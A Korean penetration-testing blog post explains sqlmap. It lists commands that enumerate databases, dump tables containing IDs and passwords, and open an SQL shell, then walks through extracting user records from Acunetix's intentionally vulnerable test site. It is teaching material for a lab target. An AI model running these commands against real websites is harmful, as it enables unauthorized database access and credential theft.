모의해킹 | WEB HACKING

SQL INJECTION | SQLMAP - 웹 모의해킹

건우Sec 2024. 9. 17. 12:56

SQLMAP 이란?

sql injection 취약점을 사용하여 여러가지 SQL 문법들과 여러가지 조합들을 활용하고

DB 서버 침투까지 지원하는 툴(TOOL) 이다.SQLMAP 사용법.

sqlmap -u "http://example.com/page.php?id=1" -u 요청할 url
sqlmap -u "http://example.com/page.php?id=1" --dbs --dbs 데이터베이스 가져오기
sqlmap -u "http://example.com/page.php?id=1" --tables -D database_name 데이터 베이스 정보추출.

 

sqlmap -u "http://example.com/page.php?id=1" --columns -D database_name -T table_name 테이블 컬륨 확인하기
sqlmap -u "http://example.com/page.php?id=1" --dump -D database_name -T table_name 데이터 추출 ID / PW 
sqlmap -u "http://example.com/page.php?id=1" --cookie 쿠키 설정
sqlmap -u "http://example.com/page.php?id=1" --level 스캔 난이도 설정
sqlmap -u "http://example.com/page.php?id=1" --risk 스캔 위험 수준 설정

 

sqlmap -u "http://example.com/page.php?id=1" --threads 스레드 설정
sqlmap -u "http://example.com/page.php?id=1" --crawl 크롤링하여 SQL 인젝션이 가능한 URL 찾기
sqlmap -u "http://example.com/page.php?id=1" --sql-shell SQL 쉘 획득하여 쿼리를 직접 실행

 

 

SQLMAP 모의침투 실습

실습환경 : http://testphp.vulnweb.com/

 

Home of Acunetix Art

welcome to our page Test site for Acunetix WVS. Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer err

testphp.vulnweb.com

 

 

sqlmap -u "http://testphp.vulnweb.com/" --crawl 2

 

 

 

 

 

현재 웹 크롤링은 끝났습니다

 

MySQL 5.6 버전이라는걸 확인했고

 

SQL INJECTION 에 취약하다는걸 알아냈습니다

 

http://testphp.vulnweb.com/listproducts.php?cat=1

 

pictures

The shore Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam sem ut arcu. painted by: r4w8173 comment on this picture Mistery Donec molestie. Sed aliquam sem ut arcu. painted by: r4w8173 comment on this picture The univer

testphp.vulnweb.com

 

현재 이 url 주소가 SQL INJECTION 에 노출이 되였으므로

 

침투를 진행할수 있게되였습니다

 

 

SQLMAP DB 데이터베이스 추출

 

 

현재 데이터베이스가

 

[*] acuart
[*] information_schema

 

이라는걸 확인하였습니다

 

SQLMAP 테이블 이름 확인

 

 

현재 테이블 이름들을 알아냈습니다

 

users

 

 

 

 

이렇게 하여 John Smith 라는 회원정보에 데이터를 알아냈습니다.

 

난이도 : 1/10

한줄평 : SQL INJECTION 은 현재까지도 많이 발생하는 취약점이므로 주의가 필요합니다.